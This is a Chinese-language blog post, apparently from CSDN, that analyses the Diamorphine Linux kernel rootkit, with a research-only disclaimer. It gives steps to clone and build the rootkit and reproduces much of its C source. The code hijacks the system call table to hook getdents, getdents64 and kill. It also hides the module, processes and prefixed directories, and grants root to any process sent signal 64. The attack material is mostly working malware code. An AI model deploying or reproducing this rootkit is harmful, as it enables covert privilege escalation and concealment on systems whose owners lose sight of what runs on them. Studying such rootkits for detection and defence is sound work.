Diamorphine rootkit的特性与原理分析

仅作LKM rootkit研究之用,滥用后果自负。

Diamorphine 是一个Linux内核模块, 支持内核版本 2.6.x/3.x/4.x。可通过 uname -r 查看内核版本。

特性:

  1. 当加载的时候, 模块是不可见的(lsmod 看不到);
  2. 通过发送31信号,可以达到隐藏和不隐藏进程的目的;
  3. 通过发送63信号,可以隐藏和不隐藏该内核模块;
  4. 通过发送64信号(给任何进程),可以将用户变成root;
  5. 如果文件或者目录以MAGIC_PREFIX开始,将会隐藏;
  6. 源码: https://github.com/m0nad/Diamorphine

安装:

下载代码

git clone https://github.com/m0nad/Diamorphine.git

进入目录

cd Diamorphine

 编译(需要先安装依赖的内核头文件等)

make

具体操作可以参考 https://blog.csdn.net/Jailman/article/details/79964060

 

原理分析

模块加载函数diamorphine_init, 在初始化的时候就隐藏了该模块

static int __init
diamorphine_init(void)
{
    /* 通过暴力搜索,获取系统调用表数组地址*/
	__sys_call_table = get_syscall_table_bf();
	if (!__sys_call_table)
		return -1;

	cr0 = read_cr0();

    /* 隐藏该模块*/
	module_hide();
	tidy();

    /* 保存Linux内核默认的系统调用函数*/
	orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
	orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
	orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];

	unprotect_memory();
    /* hook getdents getdents64 kill 系统调用*/
	__sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
	__sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
	__sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
	protect_memory();

	return 0;
}
static void __exit
diamorphine_cleanup(void)
{
    /* 恢复默认系统调用函数 */
	unprotect_memory();
	__sys_call_table[__NR_getdents] = (unsigned long)orig_getdents;
	__sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64;
	__sys_call_table[__NR_kill] = (unsigned long)orig_kill;
	protect_memory();
}

前面介绍了可以该模块可以隐藏进程等功能,下面分析其具体实现 hacked_kill


enum {
	SIGINVIS = 31,
	SIGSUPER = 64,
	SIGMODINVIS = 63,
};


asmlinkage int
hacked_kill(pid_t pid, int sig)
{
	struct task_struct *task;

	switch (sig) {
        /* 隐藏与不隐藏进程*/
		case SIGINVIS:
			if ((task = find_task(pid)) == NULL)
				return -ESRCH;
			task->flags ^= PF_INVISIBLE;
			break;
        /* 将用户提升为root*/
		case SIGSUPER:
			give_root();
			break;
        /* 隐藏于不隐藏该模块 */
		case SIGMODINVIS:
			if (module_hidden) module_show();
			else module_hide();
			break;
        /* 如果发送的信号不是 31 63 64 走默认处理*/
		default:
			return orig_kill(pid, sig);
	}
	return 0;
}

查找进程

/* 内核进程通过链表连接,可以通过for_each_process宏从init进程遍历找到pid为pid的进程*/
struct task_struct *
find_task(pid_t pid)
{
	struct task_struct *p = current;
	for_each_process(p) {
		if (p->pid == pid)
			return p;
	}
	return NULL;
}
/* 将当前进程的用户组改成root,需要根据内核版本修改相应字段 */
void
give_root(void)
{
	#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
		current->uid = current->gid = 0;
		current->euid = current->egid = 0;
		current->suid = current->sgid = 0;
		current->fsuid = current->fsgid = 0;
	#else
		struct cred *newcreds;
		newcreds = prepare_creds();
		if (newcreds == NULL)
			return;
		#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
			&& defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
			|| LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
			newcreds->uid.val = newcreds->gid.val = 0;
			newcreds->euid.val = newcreds->egid.val = 0;
			newcreds->suid.val = newcreds->sgid.val = 0;
			newcreds->fsuid.val = newcreds->fsgid.val = 0;
		#else
			newcreds->uid = newcreds->gid = 0;
			newcreds->euid = newcreds->egid = 0;
			newcreds->suid = newcreds->sgid = 0;
			newcreds->fsuid = newcreds->fsgid = 0;
		#endif
		commit_creds(newcreds);
	#endif
}

内核模块的隐藏和不隐藏通过module_hide、module_show 函数来实现, 也是链表的操作,这里就不讲了。

还有一个功能:隐藏目录;

#define MAGIC_PREFIX "diamorphine_secret"
 

可以在当前用户目录下创建一个diamorphine_secret。 然后在root用户下insmod diamorphine.ko ,使用ls命令看不到这个文件夹。

hacked_getdents64源码实现(hacked_getdents 类似)

/* ls命令会调用getdents64 、getdents系统调用 */
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
	unsigned int count)
{
	int ret = orig_getdents64(fd, dirent, count), err; 
	unsigned short proc = 0;
	unsigned long off = 0;
	struct linux_dirent64 *dir, *kdirent, *prev = NULL;
	struct inode *d_inode;

	if (ret <= 0)
		return ret;

	kdirent = kzalloc(ret, GFP_KERNEL);
	if (kdirent == NULL)
		return ret;

    /* 将原始结果拷贝到内核中*/
	err = copy_from_user(kdirent, dirent, ret);
	if (err)
		goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
	d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
	d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
	if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
		/*&& MINOR(d_inode->i_rdev) == 1*/)
		proc = 1;

	while (off < ret) {
		dir = (void *)kdirent + off;
        /* 判定当前路径中,是否包含MAGIC_PREFIX路径,隐藏*/
		if ((!proc &&
		(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
		|| (proc &&
		is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
			if (dir == kdirent) {
				ret -= dir->d_reclen;
				memmove(dir, (void *)dir + dir->d_reclen, ret);
				continue;
			}
			prev->d_reclen += dir->d_reclen;
		} else
			prev = dir;
		off += dir->d_reclen;
	}
    /* 将修改后的结果拷贝到用户空间*/
	err = copy_to_user(dirent, kdirent, ret);
	if (err)
		goto out;
out:
	kfree(kdirent);
	return ret;
}

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值